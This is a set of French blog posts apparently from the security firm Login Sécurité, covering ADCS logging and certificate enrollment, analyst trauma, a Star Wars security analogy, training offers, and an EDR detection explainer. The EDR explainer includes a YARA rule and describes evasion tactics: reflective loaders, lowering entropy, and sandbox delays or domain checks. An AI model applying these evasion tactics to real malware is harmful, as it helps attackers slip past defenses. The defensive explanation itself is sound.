Une fois la configuration effectuée, on peut voir dans l'Observateur d'événements nos nouveaux Events ID. On peut par exemple voir ici le démarrage du service de certificats, et l'émission d'un certificat.

La liste des événements que l'on peut activer peut-être trouvée sur le site de microsoft : https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786423(v=ws.11)

Le prochain article de cette série expliquera comment détecter les attaques ESC1 et ESC3, très régulièrement rencontrées lors de nos tests d’intrusion.

Un mal discret, invisible à l’œil nu, mais dont les effets peuvent être dévastateurs : le traumatisme vicariant.

Ce traumatisme est une réalité encore trop peu abordée dans notre univers professionnel. Pourtant, dans nos rôles de threat hunters, de SOC analysts, de forensic investigators, … nous sommes en première ligne, pas face à des bombes ou des armes, mais face à des récits d’atrocités, à des images insoutenables, à des signaux faibles d’un monde parfois glaçant.

Et même si on ne le montre pas, ces contenus laissent une empreinte. Une empreinte silencieuse, mais bien réelle. Il est temps de poser les mots. D’ouvrir le dialogue. Et surtout, de proposer des pistes concrètes pour se protéger, individuellement et collectivement.

‍

Définition

Depuis plus de 30 ans, le traumatisme vicariant est un sujet d'étude dans les professions de la santé mentale. Au fil du temps, ces recherches se sont élargies pour inclure les secouristes, les forces de l'ordre, ainsi que les scientifiques et praticiens en médecine légale. Mais qu'en est-il de nous, les analystes cyber, les cyberwomen and men ? Les sciences sociales ont pris du retard pour aborder les défis uniques auxquels font face les professionnels de la cybersécurité confrontés à des contenus potentiellement traumatisants.

Dans nos métiers de threatintelligence, SOC, forensic, modération de contenu, OSINT, gestion de vulnérabilités, nous passons notre quotidien à analyser les ombres : attaques, violences, extrémisme, pédocriminalité, torture, exploitation humaine… Ces réalités sombres font partie intégrante de notre travail, mais à force de plonger dans ces contenus toxiques, un phénomène insidieux émerge : le traumatisme vicariant. Aussi appelé traumatisme secondaire, ce phénomène se manifeste lorsqu'une personne s'engage avec empathie auprès des victimes de traumatismes. Initialement décrit par McCann & Pearlman (1990), ce mécanisme montre que même les professionnels formés et aguerris ne sont pas immunisés contre l'impact psychologique des horreurs qu'ils analysent. Petit à petit, cela modifie nos croyances, notre rapport aux autres et, dans certains cas, notre capacité à continuer à exercer ce métier.

Il est important de souligner que tous les analystes cyber ne sont pas nécessairement exposés au traumatisme vicariant. Cependant, il s'agit d'une possibilité à laquelle tous les enquêteurs doivent être sensibles et conscients.

‍

L'Impact caché sur les professionnels

Le traumatisme vicariant se manifeste de manière subtile mais peut entraîner des conséquences profondes et durables. En tant qu’analystes cyber, l'exposition continue à des contenus traumatisants peut entraîner des symptômes qui impactent le bien-être émotionnel et mental. Voici les principaux signes à surveiller :

• Fatigue émotionnelle : cynisme, détachement, perte de sens, et désengagement émotionnel

• Troubles du sommeil : insomnie, cauchemars, et anxiété, souvent accompagnés de fatigue chronique

• Agitation et incapacité à gérer les choses : sentiment de perte de contrôle et d’impuissance

• Changements d’humeur soudains : irritabilité, frustration, et une moindre tolérance envers les autres

• Retrait social : isolement progressif, évitement des interactions avec les pairs, amis ou famille

• Comportements risqués : recherche de sensations fortes, y compris des comportements excessifs comme l’abus de substances ou de jeux

• Symptômes de TSPT secondaires : flashbacks, réminiscences traumatiques liées au contenu analysé, et irritabilité persistante

• Effondrement cognitif : perte de lucidité, biais de jugement, et recours au repli défensif

• Épuisement professionnel (burnout) : un épuisement mental et physique exacerbés par l'absence de reconnaissance ou de soutien

Ces symptômes peuvent se manifester progressivement, souvent sans être immédiatement perceptibles et peuvent engendrer un désengagement silencieux et, dans les cas extrêmes, conduire à un burnout. Il est essentiel de reconnaître ces signes tôt pour éviter des répercussions plus graves sur la santé mentale et la performance professionnelle.

Et si seulement ça s’arrêtait là… Mais à tout cela vient s’ajouter un bruit ambiant ; ce « noise » conceptualisé par Kahneman et Olivier Sibony une forme de perturbation cognitive trop souvent négligée, éclipsée par la focalisation quasi-exclusive sur les biais.

Nous l’aborderons plus longuement dans notre article dédié à la gestion de crise.

Chaque jour, une organisation moyenne est bombardée par des dizaines de milliers d’IP uniques en grande majorité malveillantes. Derrière ces adresses, des scanners automatisés, des botnets ou des acteurs opportunistes génèrent un tsunami d’événements, inondant les SIEM jusqu’à saturation. Les équipes cyber se retrouvent à naviguer à vue dans un océan d’alertes, où le bruit l’emporte sur le signal, et où les véritables menaces ciblées risquent de passer sous le radar.

‍

Comprendre et Protéger

Avec l'explosion du volume de données accessibles via les réseaux sociaux et les nouvelles technologies, l'exposition à des contenus traumatisants a fortement augmenté.

Dans le domaine de la cybersécurité, ce risque demeure invisible et souvent non reconnu. Les analystes sont fréquemment confrontés à ces données brutales, souvent seuls, sans accompagnement psychologique ni culture de prévention adaptée.

‍

En plus de la facilité d'accès aux contenus violents, les professionnels de la cybersécurité sont aussi confrontés à des menaces spécifiques telles que le cyberharcèlement, les contenus abusifs, les menaces extrémistes, le CSAM (Child Sexual Abuse Material), le doxing, les violences en ligne, les images violentes, les récits de meurtres, les discours de haine, la propagande extrémiste, et d'autres formes de contenus perturbants.

Bien que ces analystes ne soient pas en contact direct avec les victimes, des recherches récentes montrent que l'impact psychologique peut être tout aussi profond, même sans interaction directe avec la souffrance.

Des études démontrent que la proximité avec un événement traumatique augmente les risques de symptômes de stress post-traumatique (TSPT). Bien que les femmes soient généralement plus enclines à exprimer ces symptômes, le sexe n'est pas un facteur déterminant statistiquement.

Pross (2006)[1]a, quant à lui, mis en évidence un risque élevé d'épuisement professionnel(burnout) pour les personnes exposées à des contenus traumatiques sans mesures de soutien adaptées.

Parmi les facteurs aggravants identifiés figurent l'isolement professionnel, l'absence de reconnaissance sociale, la surcharge de cas, le manque de formation ou un mauvais équilibre entre vie professionnelle et personnelle.

La relation entre les traits de personnalité et le traumatisme vicariant reste encore sous-explorée, bien qu’elle constitue un axe d’étude crucial pour mieux comprendre les facteurs de vulnérabilité. Une étude basée sur le crash de l'avion 5735[2]a montré que l'exposition médiatique à des événements traumatisants était un facteur déclencheur majeur du traumatisme vicariant, notamment chez les individus présentant des traits de personnalité tels que l'extraversion, l'amabilité et le névrosisme.

Reconnaître ce phénomène est essentiel pour protéger nos équipes, nos cerveaux et notre lucidité.

Solution

Comme pour tout traumatisme, la gestion du traumatisme vicariant nécessite une approche en trois temps : avant, pendant, et après l’exposition.

Dans un contexte où les équipes SOC sont exposées à une pression constante, il devient essentiel d’adopter une approche holistique du bien-être opérationnel. Inspiré des protocoles des forces spéciales, l'entraînement cognitif appliqué aux environnements cyber inclut désormais :

• des techniques de stress inoculation, (Il s'agit d'un type spécifique de thérapiecognitivo-comportementale visant à doter les individus d'outils pour gérerefficacement le stress. Cette technique s'appuie sur la compréhension dustress, de ses impacts et sur le développement de stratégies pour les atténuer.En favorisant la résilience et en proposant des mécanismes d'adaptationpratiques)

• des immersions en réalité virtuelle

• des pratiques de pleine conscience et

• des ateliers ciblés de prévention du burn-out

‍

L’intégration de psychologues directement dans les équipes permet d'assurer un suivi personnalisé, de proposer des débriefings post-incident, et de renforcer la résilience individuelle.

On peut aussi combiner intelligence artificielle et indicateurs comportementaux, afin d’identifier les signaux faibles liés à la fatigue mentale ou à la surcharge cognitive. N’oublions pas l’importance des dispositifs de soutien social et familial pour accompagner les analystes après des périodes de forte intensité opérationnelle.

À l’échelle organisationnelle, ces initiatives se traduisent par des politiques concrètes :

• Pauses obligatoires

• Cellules d’écoute disponibles 24/7

• Mise en place d’une doctrine de résilience au cœur de la culture SOC

• L’adaptation du stress-inoculation training au secteur civil permet aux analystes de mieux comprendre les effets du stress cyber, d’acquérir des outils pratiques (respiration, triage cognitif ,restructuration mentale) et de s’entraîner dans des conditions réalistes à la gestion de crise

L’objectif : faire émerger des équipes durables, performantes, et profondément ancrées dans une culture de la prévention.

‍

[1] Pross C (2006) Burnout,vicarious traumatization and its prevention.

[2]https://en.wikipedia.org/wiki/China_Eastern_Airlines_Flight_5735

‍

Technologies explorées pour réduire la charge émotionnelle

On ne choisit pas d’être impacté.

• Ce n’est ni un manque de recul, ni une sensibilité excessive. C’est juste l’expression de notre humanité. Même derrière un écran. Même avec dix ans d’expérience. Même avec un mental d’acier

• Le traumatisme ne disparaît pas sous une to-do list ou derrière un masque professionnel

• Il se reconnaît. Il s’anticipe. Il se prend en charge. Individuellement, collectivement, managérialement. Et surtout : entre pairs

• Ce n’est pas un signe de faiblesse. C’est une preuve de lucidité. Une question de responsabilité

• Dans un monde où les machines tournent H24, l’humain reste le maillon vital

• Prenons soin de sa résilience

Chez Login

Chez Login Sécurité la cybersécurité ne s’arrête pas aux firewalls.

On détecte. On protège. On répond. On reconstruit.

• De l’anticipation des menaces à la gestion de crise

• De la tech à l’humain

• De la sensibilisation à la résilience

On est là, avant, pendant et après l’incident.

Vous avez des outils. Nous, on a une vision.

• Une task force engagée, formée, prête à intervenir

• Des formats pédagogiques pour muscler vos défenses mentales

• Et un accompagnement humain, même quand la machine s’emballe

Parce qu’en cyber, la meilleure défense, c’est l’alliance entre la technologie… et la lucidité humaine.

Travaillons ensemble pour transformer chaque crise en levier stratégique.

‍
Contactez-nous. Préparez-vous. Respirez. On veille.

Dans la partie 1, nous avons vu comment installer l'autorité de certification. Maintenant, il faut configurer les contrôleurs de domaine pour l'utiliser.

Effectivement, nous pouvons demander à l'ADCS un certificat, mais lorsque nous essayons de l'utiliser, nous obtenons une erreur "KDC_ERR_PADATA_TYPE_NOSUPP (KDC has no support for padata type)"

‍

De la même façon, il n'est pas encore possible de communiquer en LDAPS avec les contrôleurs de domaine.

Pour régler ce problème, nous allons avoir besoin d'installer un certificat sur le contrôleur de domaine.

‍

Méthode 1: installer le certificat manuellement sur un contrôleur de domaine

Dans la console mmc d’un contrôleur de domaine, nous allons ouvrir le menu "Ajouter/Supprimer un composant logiciel enfichable" :

‍

Puis, sélectionner le menu des certificats avec le compte ordinateur local :

‍

Vu que l'autorité de certification vient d'être créée, il ne devrait pas encore y avoir de certificats. Dans l'onglet "personnel", nous allons demander un nouveau certificat :‍

Enfin, nous allons demander un certificat de "Contrôleur de domaine" :

‍

Méthode 2: activer l’auto-enrollement des contrôleurs de domaine via GPO

Nous allons créer une nouvelle GPO qui va s'appliquer aux contrôleurs de domaine. Dans "Configuration utilisateur > Stratégies > Paramètres Windows > Paramètres de sécurité > Stratégies de clé publique > Client des services de certificats - Inscription automatique", il faudra activer le "Modèle de configuration", en prenant soin de cocher les options de renouvellement de certificats expirés, et de mettre à jour les certificats :

‍

Une fois validé, nous pouvons mettre à jour la configuration de notre contrôleur de domaine : ‍

Bilan

Lorsque l'on retourne dans les certificats personnels, un certificat a dû apparaître :

‍

Maintenant, le certificat que l'on avait demandé au tout début permet bien de s'authentifier avec et la communication via LDAPS fonctionne.‍

‍

Le prochain article permettra de découvrir comment activer les logs, nécessaires à la détection de potentielles attaques.

Ou comment l’Empire a perdu face à ses mauvaises pratiques de cybersécurité et un rebelle nommé Andor

Même dans une galaxie lointaine, les vulnérabilités sont souvent les mêmes : centralisation excessive des données, contrôles d’accès inexistants, absence de détection des comportements anormaux…
Cet article revient sur les erreurs techniques et organisationnelles qui ont précipité la chute de l’Empire et qui résonnent étrangement avec les défis de la cybersécurité moderne

Quand on parle de cybersécurité, on pense souvent à des hackers avec son hoodie ou son fond d’écran Matrix. Dans l'univers Star Wars (mais pas seulement en réalité…), parfois, il suffit d'un bon déguisement, d'un peu de culot... et d’un Empire qui n’a jamais entendu parler d'authentification multi facteurs.

Cassian Andor n'était pas un Jedi ni un seigneur Sith : il était juste suffisamment malin pour profiter d'un système construit comme un énorme SPOF (Point de défaillance unique, en anglais)sur pattes.

Entre IDOR (références directes non sécurisées, en anglais), absence totale de cloisonnement et un centre de données unique en guise de coffre-fort galactique, bienvenue dans la plus grande masterclass de mauvaises pratiques cybersécurité de toute une galaxie.

‍

Avec la sortie de la deuxième saison de Star Wars Andor, c’est l’occasion de faire un tour de la cybersécurité dans une galaxie lointaine, très lointaine. Il ne faut pas oublier pas que le pire n’est jamais décevant.

‍

Quelles leçons tirer de l’arrogance et des mauvaises pratiques impériale ?

Avant même Scarif, l’Empire affichait déjà un mépris flagrant pour les fondamentaux de la sécurité des systèmes. À commencer par ses architectures monolithiques, centralisées à outrance, qui font passer une faille pour une invitation à la rébellion.

‍

‍

Prenons l’exemple des prisons de Narkina 5 :

Un système carcéral imposant… mais totalement dépendant de l’électricité. Une panne, et c’est toute la chaîne de contrôle qui s’effondre. Il en résulte une évasion massive, orchestrée à mains nues. Tous s’enfuient, sauf Kino, figure tragique d’un système où même les plus braves restent prisonniers… d’une mauvaise infrastructure.

Cette obsession impériale pour la centralisation à tout prix se répète encore et encore : un point d’accès unique et cœur de données critique.

Plus globalement, c’est l’arrogance technocratique de l’Empire qui ressort : penser qu’une technologie avancée suffit, sans prévoir les failles humaines, techniques ou physiques. Une erreur classique, mais fatale dans toute stratégie de cybersécurité.

Cet article n’est qu’un avant-goût. D'autres épisodes, comme Scarif ou Aldhani, viennent compléter ce tableau, aujourd’hui, d’un Empire technologiquement avancé mais stratégiquement vulnérable. Nous reviendrons dessus dans un prochain article dédié à la cybersécurité au sein de l’empire.

Maintenant, abordons les événements ayant touché les données impériales et plus particulièrement le SPOF de Scarif .Pour ceux qui n’aurait pas encore vu Rogue One, Il s’agit d’une planète hébergeant un centre de recherche militaire impériale. Cette dernière a été choisi pour emplacement, elle est hors de portée du Sénat intergalactique, évitant ainsi tout contrôle et maintenant le secret sur les projets comme Stardust (Etoile de la mort). Stardust est le nom donné au projet de l’étoile de la mort de Palpatine, pour lequel Krennic et Galen Erso (le père de Jyn) ont travaillé.

Ce centre utilise un archivage de données sur bande magnétique (ou équivalent) pour le stockage. Choix logique étant donné la nature des données et le rôle de cette base.

Un cadre idyllique qui l’est un peu moins pour son PRA

Des mécanismes de sécurité en place (bouclier planétaire, garnison de storm troopers et AT-AT), aucuns n’ont pu empêcher la perte complète et totale des données, sans réplications ni de sauvegardes multisites.

À noter que la destruction est causée par l’empire lui-même, avec le Grand Moff Tarkin prenant la décision de détruire le centre de recherche avant toute exfiltration. Cependant, la remédiation est arrivée tardivement, le vol des plans de l’étoile de la mort ayant déjà eu lieu.

‍

L’effet boule de neige d’un accès sans second facteur d’authentification ?

L’empire a privilégié un archivage hors-ligne afin de protéger ses données, mais c’est cette implémentation qui a permis le vol de donnée.

L’empire semble se prémunir contre la force brute, mais pas contre les éléments les plus discrets, comme notre force de rebelles.

On commence déjà avec un contrôle d’accès planétaire, que nos protagonistes ont pu passer facilement avec une navette impériale volée.

Surplace, Cassian Andor et Jyn Erso ont enfilé les tenues d’un officier et d’un agent de piste impérial. Ils ont pu se balader librement. Le seul problème étant le personnel, nombreux sur la base, pour nos rebelles, mais ceci ne sera pas un problème .Pendant que la garnison est attirée à l’extérieur par une diversion, rien ne semble empêcher l’intrusion : aucun contrôle d’accès, aucune authentification.

‍

La conformité ISO n’existe pas dans une galaxie lointaine. Pas besoin de badge, une tenue suffit

‍

Les officiers et techniciens disposent d’un cylindre codé, visible sur les uniformes et est normalement utilisé pour le contrôle d’accès et restreindre un périmètre donné seulement aux personnes autorisées. Mais nos héros n’ont pas eu à les utiliser, en plus de ne pas être dans une zone autorisée. On notera que les terminaux d’accès ne sont pas protégés et sont exploitables par un droïdes, que ce soit des astromechs comme R2D2 ou K-2SO, le fameux droïde impérial reprogrammé.

Pour ce qui de l’accès au coffre-fort et aux bandes d’archives, Une fois à l’intérieur, pas de politique d’accès granulaire, il est possible de lister et de parcourir l’ensemble des informations, sans authentification. Pour la suite, la destruction du panneau de contrôle et le verrouillage subséquent de la porte ont déclenché une alerte, trop tardive vous me direz. Bien que débordé, les officiers impériaux ne semblent pas avoir relevé les signaux associés à l’envoi important de stormtroopers dans cette section de la base comme un danger imminent.

De l’attaque rebelle sur Scarif, on peut tirer les conclusions que la sécurité des données impériale repose tout d’abord sur une sécurité physique avec de nombreuses portes, des stormtroopers et un bouclier planétaire, mais que les processus et la communication ne sont pas adaptés face au risque porté par un attaquant avec un peu de volonté. Que ce soit par un manque d’audit, de restriction d’accès et de l’application du principe de moindre privilège, l’empire devrait reconsidérer son budget cybersécurité et l’architecture de son SI.

En compléments des événements sur Scarif, il semble que les retours d’expérience sur les incidents passés ne soient pas non plus considérés. Lors sur braquage du coffre des crédits impériaux sur Aldhani, le manque de défense en profondeur et de détection avancée sont cinglant et mettent en avant que les capacités de détection et de qualification d’incident restent très vagues pour le SOC impérial. On retrouve les mêmes problèmes sur Scarif, que faire une fois qu’un accès physique est réalisé ?

‍

Il y a bien longtemps, dans une galaxie pas si sécurisée que ça...

‍

Scarif, Aldhani, Eadu... autant de noms qui résonnent dans l’histoire impériale comme des échecs cuisants de sécurité. Entre les accès non protégés, les journaux d’événements ignorés, l’absence de contrôle d’identité, et un SOC visiblement plus préoccupé par les formalités que par la détection d’incidents, on comprend que l’Empire ait fini par se faire souffler ses plans les plus sensibles par une poignée de rebelles suffisamment motivés à faire vaciller tout un système.

L’analyse des attaques rebelles met en lumière des failles systémiques : centralisation extrême des données, cloisonnement mal appliqué, absence de PRA ou de PCA efficaces, et un manque de culture cybersécurité généralisé.

Les décisions se prennent en silo, les signaux faibles sont ignorés, et la réaction n’arrive que quand il est trop tard.

‍

Aujourd’hui(ou il y a très longtemps...), comment les forces impériales pourraient-elles se sécuriser ?

‍

En adoptant quelques principes issus non pas d’une prophétie Jedi, mais des bonnes pratiques cyber :

• Déployer des architectures résilientes, décentralisées et à haute disponibilité

• Appliquer strictement le principe du moindre privilège, même pour les officiers zélés

• Renforcer les contrôles d’accès (avec MFA obligatoire, même pour Krennic)

• Tester et mettre à jour régulièrement ses plans de continuité et de reprise d’activité

• Centraliser intelligemment les journaux, et surtout, évaluer et améliorer en continu les capacités de détection

• Former et préparer ses équipes à la gestion de crise, y compris les stormtroopers, au moins ceux qui savent viser

‍

Chez Login Sécurité, nous n'avons pas encore été mandatés par l'Empire, ni par la Rébellion.

Mais nous savons une chose : la Force ne suffit pas face à une vraie menace cyber.

Conseil, GRC, audit, SOC ou réponse à incident, nos équipes sont prêtes à vous accompagner, dans cette galaxie ou une autre.

Dans la peau d’un Hacker

Cette formation est à destination de tous ceux qui souhaite entrevoir l’envers du décor de nos audits. Accompagné d’un de nos intervenants spécialisés dans les tests d’intrusion, vous y découvrirez les techniques d’attaques les plus répandues sur les applications web et les environnements Active Directory, et pourrez vous-même tenter de les reproduire. A la fois globale et spécialisée, elle est un excellent moyen de mieux appréhender les menaces qui pèsent sur vos systèmes et les meilleurs manières de s’en protéger.

Objectifs concrets :

• Comprendre les méthodologies d’attaque sur un système d’information.

• Appréhender les impacts liés aux exploitations de vulnérabilités.

• Sensibilisation aux bonnes pratiques de sécurité.

Public Visé et prérequis :Afin de bénéficier de cette formation au maximum, des connaissances systèmes et réseaux, ainsi que des connaissances basiques en Scripting (python, perl, bash) et en programmation web, sont de mises. C’est pourquoi le public visé est généralement celui des Directeur de Système Informatique (DSI), des Responsables de la Sécurité des Systèmes d’Information (RSSI) ou encore des Administrateurs systèmes et réseaux. Le Programme :

Jour 1

• Prise d’information : Passive (Whois, Shodan, Google Dorks, Réseaux sociaux, DNS.)

• Réseau : Scan de ports, Attaques Man-in-the-Middle (ARP, LLMNR, DHCP).

• Bases de l’exploitation de vulnérabilité : Scan de vulnérabilité, base de vulnérabilité. Introduction à Metasploit. Exploitation de vulnérabilité à distance.

• Post-exploitation : Elévation de privilèges, Cassage de mot de passes.

Jour 2

• Attaques Active Directory : Enumération Active Directory. Attaques sur l’authentification AD (Relai NTLM, Pass-The-Hash…). Attaques Kerberos. Attaques ADCS.

• Attaques web : Attaques d’injections (XSS, SQL, etc…). Sécurisation de fonctionnalités sensibles.

Calendrier des formations par régions et lien d’inscription

Développement sécurisé Web

Cette formation à destination des professionnels du développement d’applications web aborde un panel large de vulnérabilités web, en se basant sur la méthodologie OWASP. Vous y apprendrez en quoi consiste chacune d’entre-elles et les risques associés. Accompagné par un de nos formateurs spécialisé dans les tests d’intrusion d’applications web, vous serez également introduit aux techniques d’attaques basiques permettant de déceler ces vulnérabilités, afin de mieux comprendre par la suite les meilleurs moyens de s’en protéger. Cette formation est essentielle pour tout développeur soucieux de créer des applications robustes et sûres. Objectifs concrets :

• Sensibiliser aux enjeux de la sécurité des application web

• Comprendre les différentes vulnérabilités et attaques sur les applications web

• Apprendre à corriger et prévenir l’apparition de vulnérabilités sur les applications web.

Public Visé et Prérequis :Cette formation plus spécifique requiert des connaissances basiques sur l’utilisation d’un système Linux, une bonne connaissance du fonctionnement du protocole http ainsi qu’en programmation web. Ainsi, elle s’adresse principalement aux Chefs de projets d’applications web, aux Architectes d’applications web et aux Développeurs d’applications web. Programme :

Jour 1

• Le développement sécurisé : cycle de vie logiciel, RGPD, évaluation du risque.

• Contrôle d’accès : cloisonnement vertical & cloisonnement horizontal.

• Authentification et sessions : contournement d’authentification & gestion des sessions (Gestion des jetons, CSRF).

• Validation des entrées utilisateurs (partie 1) : injections XSS & injections SQL & NoSQL.

Jour 2

• Validation des entrées utilisateurs (partie 2) : injections de commandes & inclusion de fichier.

• Mises à jour et configuration des composants.

• Vérification des données : téléversement de fichiers & sérialisation et désérialisation.

• Cryptographie et stockage de données : algorithmes de chiffrement sécurisés & stockage de mot de passe sécurisé.

• Sécurisation du CI/CD.

Calendrier des formations par régions et lien d’inscription

‍Un mot sur nos offres de sensibilisation :Sur des formats plus courts d’une journée ou bien même quelques heures dans vos locaux, les offres de sensibilisations sont un atout considérable pour vos collaborateurs. Basées sur les retours d’expériences de nos clients et sur nos propres constats, elles ciblent des enjeux clés qui sont encore floues pour beaucoup. Les renforcer, c’est solidifier votre sécurité. Parmi elles, vous trouverez :

• Sensibilisation utilisateur

• Sensibilisation administrateur

• Sensibilisation au Phishing

• Simulation de crise Cyber

Son rôle

Le RSSI, ou Responsable de la Sécurité des Systèmes d’Information, est une fonction clé au sein des organisations modernes.

Son rôle ? Garantir la protection du système d'information contre les risques numériques, tout en accompagnant la transformation numérique de l’entreprise. Il ne s'agit pas simplement de gérer les incidents : le RSSI anticipe, structure, pilote et transforme.

Le RSSI à temps partagé peut avoir ce rôle clé dans l’entreprise.

Il offre aux organisations un leadership expérimenté, à la fois stratégique et opérationnel, sans les contraintes financières d’un poste permanent.

Ce modèle répond à une exigence moderne : faire plus, mieux, et avec agilité.

Le RSSI à temps partagé intervient quelques jours par mois (2 jours minimum), en présentiel ou à distance ; en mode hybride, il s’adapte ; avec la capacité d'impulser une dynamique forte, de structurer les actions, et d’élever le niveau global de maîtrise cyber.

Il ne se contente pas de suivre les opérations, il n’a pas une seule casquette mais plusieurs à son actif : il donne le cap, crée de la cohérence, et accompagne les dirigeants dans la transformation numérique de manière pragmatique et résolument tournée vers les résultats.

Sa force réside dans la combinaison de plusieurs leviers :

• Une vision stratégique claire,

• Une supervision opérationnelle rigoureuse,

• Une capacité à élaborer et piloter les budgets cybersécurité

• Une posture de leader capable de développer les équipes internes.

• Il intervient également comme interlocuteur privilégié auprès des parties prenantes : direction générale, métiers, partenaires, clients. Il sait parler au COMEX, traduire les enjeux techniques en décisions business, rassurer, mobiliser, embarquer.

Dans un environnement tendu, il prend les commandes en cas de crise, sécurise la reprise d’activité et transforme l’urgence en opportunité d’amélioration.

Attention, son rôle ne s’arrête pas à la gestion des incidents : il accompagne également les transformations de fond, anticipe les tendances et facilite le changement en douceur.

Il pilote souvent des prestations complémentaires utiles (pentests, SOC, PSSI, etc.)

Pourquoi choisir un RSSI à temps partagé ?

L’un de ses atouts majeurs est sa capacité à prendre du recul.

En tant qu’acteur partiellement extérieur à l’organisation, il conserve une objectivité précieuse. Il n’est pas enfermé dans les routines internes, ce qui lui permet de poser les bonnes questions, d’identifier les angles morts et de proposer des orientations qui sortent des sentiers battus.

Il devient ainsi un véritable partenaire stratégique, le fameux « sparring partner » du dirigeant, capable de concilier exigence de résultats et pragmatisme de terrain.

Quels sont ses super-pouvoirs ?

• Un audit de maturité du SI, avec un plan d’action clair sur 2 à 3 ans

• Une analyse de risques (ex : méthode EBIOS-RM ANSSI)

• Diagnostic de la situation actuelle, définition d’un plan d’action réaliste sur plusieurs années, mise à disposition de livrables clairs (comme une PSSI ou une charte de sécurité), accompagnement de la gouvernance et montée en compétence des équipes.

• Il agit également comme un catalyseur : une fois les priorités posées, il enclenche une dynamique vertueuse, capable d’ouvrir sur d'autres projets structurants comme la mise en place d’un SOC, la réalisation de tests d’intrusion, le renforcement des outils de pilotage ou encore le déploiement de formations sur mesure avec une sensibilisation des directions et équipes à la culture cyber

Un relais pour déployer des projets cyber structurants

• Une restitution COMEX claire et impactante

Dans un contexte où les entreprises cherchent à se transformer sans exploser leurs coûts, le RSSI à temps partagé s’impose comme une alternative crédible, agile et durable. Il permet de bénéficier d’un haut niveau de compétence, au bon moment et au bon rythme, sans avoir à supporter le coût d’un recrutement permanent. C’est une réponse adaptée aux besoins des startups en phase de croissance, des PME en structuration, ou encore des groupes qui souhaitent faire évoluer leur gouvernance cyber de manière progressive et efficace.

Chez LOGIN·SÉCURITÉ ?

Nous accompagnons depuis plusieurs années des entreprises de toutes tailles dans cette démarche. Notre équipe GRC propose un accompagnement complet, depuis l’évaluation initiale jusqu’à la mise en œuvre des projets, avec un suivi dans le temps et une montée en maturité mesurable.

Le RSSI à temps partagé n’est pas une variable d’ajustement. C’est un levier stratégique. Un partenaire de confiance. Un catalyseur de transformation.

Nos RSSI à temps partagé accompagnent des organisations de toutes tailles pour :

• Évaluer leur niveau de maturité

• Mettre en place une gouvernance efficace

• Déployer des projets structurants

• Sensibiliser les équipes et la direction

• Restituer de façon claire les enjeux au COMEX

L’article va se concentrer sur les détections sur un environnement Windows, de fichiers compilés malveillants. Cela n’inclut donc pas des sujets comme la détection de scripts PowerShell ou Python malveillants, par exemple.

Enfin, cela ne concerne que partiellement les applications en code managé (.NET), car ces applications ne sont pas directement compilées en code natif, seulement en code intermédiaire (en général).

L’analyse statique

La fonctionnalité d’analyse statique est la fonctionnalité de détection la plus connue des solutions d’antivirus et d’EDR. Il s’agit de la reconnaissance de patterns connus comme appartenant à du code malveillant, suite à une analyse manuelle. Ces patterns sont principalement de deux types différents, soit des chaînes de caractères ou des données bien spécifiques. Par exemple, le motif présent au sein de mimikatz dispose de nombreuses signatures :

.#####. mimikatz 2.0
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 13 modules * * */

L’autre type de patterns est une suite d’instructions assembleur bien spécifique à ce programme malveillant.

Un format universel permettant de se partager ce genre de règle des détection a été créé pour cela : le format Yara.

rule XorExample2
{
    strings:
        $xor_string_00 = "This program cannot"
        $xor_string_01 = "Uihr!qsnfs`l!b`oonu"
        $xor_string_02 = "Vjkq\"rpmepco\"acllmv"
        // Repeat for every single byte XOR
    condition:
        any of them
}

La principale limitation de cette analyse statique, est qu’elle est contournée par des reflective loaders. Ce sont de petits programmes, dont le rôle est d’exécuter en mémoire un plus gros programme malveillant pour lequel il existe des signatures connues. Comme c’est le reflective loader qui charge le programme final, il est possible de chiffrer ou d’encoder au préalable le programme malveillant final, cassant ainsi les signatures et rendant les règles de détection inefficaces, le reflective loader se chargeant de déchiffrer ou décoder le programme final juste avant son exécution.

Il est possible tenter de détecter statistiquement des anomalies. Par exemple, si l’exécutable contient une grande zone mémoire ayant une forte entropie de Shannon, cela pourrait indiquer la présence d’un contenu chiffré, mais il est simple de baisser cette entropie, soit en ajoutant des données redondantes (par exemple, de nombreux zéros), soit en séparant le contenu chiffré dans un fichier séparé.

L’analyse dynamique

Sandboxing

On met évidemment une image de bac à sable pour illustrer

Afin de contourner le problème que posent les reflective loaders, une première solution qui a été mise en place est de récupérer l’exécutable en question, et de l’exécuter sous un hyperviseur sur une machine tierce, généralement hébergée sur un cloud. Cela permet d’observer le comportement, notamment le trafic réseau peu après le lancement de l’application.

Cela a une grosse limitation : ce sandboxing se déroulant avant l’exécution réelle du programme, cette analyse ne peut pas être très longue. Ainsi, pour un auteur de malware, il est possible d’abuser de ces différences de comportements. Par exemple, il est possible de vérifier que le nom de domaine de la machine sur laquelle le code correspond bien à celui attendu, ou encore d’effectuer un Sleep de quelques minutes avant d’exécuter le code malveillant.

Certaines plateformes tentent de modifier l’environnement pour que les fonctions telles que Sleep retournent immédiatement. Cela n’est toutefois que peu efficace, car il suffit de ne pas appeler de bibliothèque tierce pour Sleep, et de simplement effectuer des opérations prenant du temps à s’exécuter, par exemple, un algorithme mathématique de calcul (nombre premiers, multiplications matricielles, etc.) mal optimisés.

Userland hooking

La première méthode d’analyse du comportement dynamique à être apparue est celle du hooking.
Le principe est de remplacer la première instruction d’une fonction par un saut inconditionnel vers une fonction d’analyse par l’EDR, puis, si l’exécution est autorisée, un second saut qui retourne vers la fonction originale, après avoir exécuté les instructions qui ont été réécrites par le saut.
Certaines implémentations d’EDR réécrivent la seconde instruction plutôt que la première, ce qui est plus difficile à détecter.

Par exemple, la fonction NtOpenProcess pourrait initialement ressembler à ceci :

0:000> u ntdll!NtOpenProcess
ntdll!NtOpenProcess:
00007ffc`74d6fe00 4c8bd1 mov r10,rcx
00007ffc`74d6fe03 b826000000 mov eax,26h
00007ffc`74d6fe08 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`74d6fe10 7503 jne ntdll!NtOpenProcess+0x15 (00007ffc`74d6fe15)
00007ffc`74d6fe12 0f05 syscall
00007ffc`74d6fe14 c3 ret
00007ffc`74d6fe15 cd2e int 2Eh
00007ffc`74d6fe17 c3 ret

En comparaison, la fonction une fois hookée ressemble à ceci :

0:017> u ntdll!NtOpenProcess L10
ntdll!NtOpenProcess:
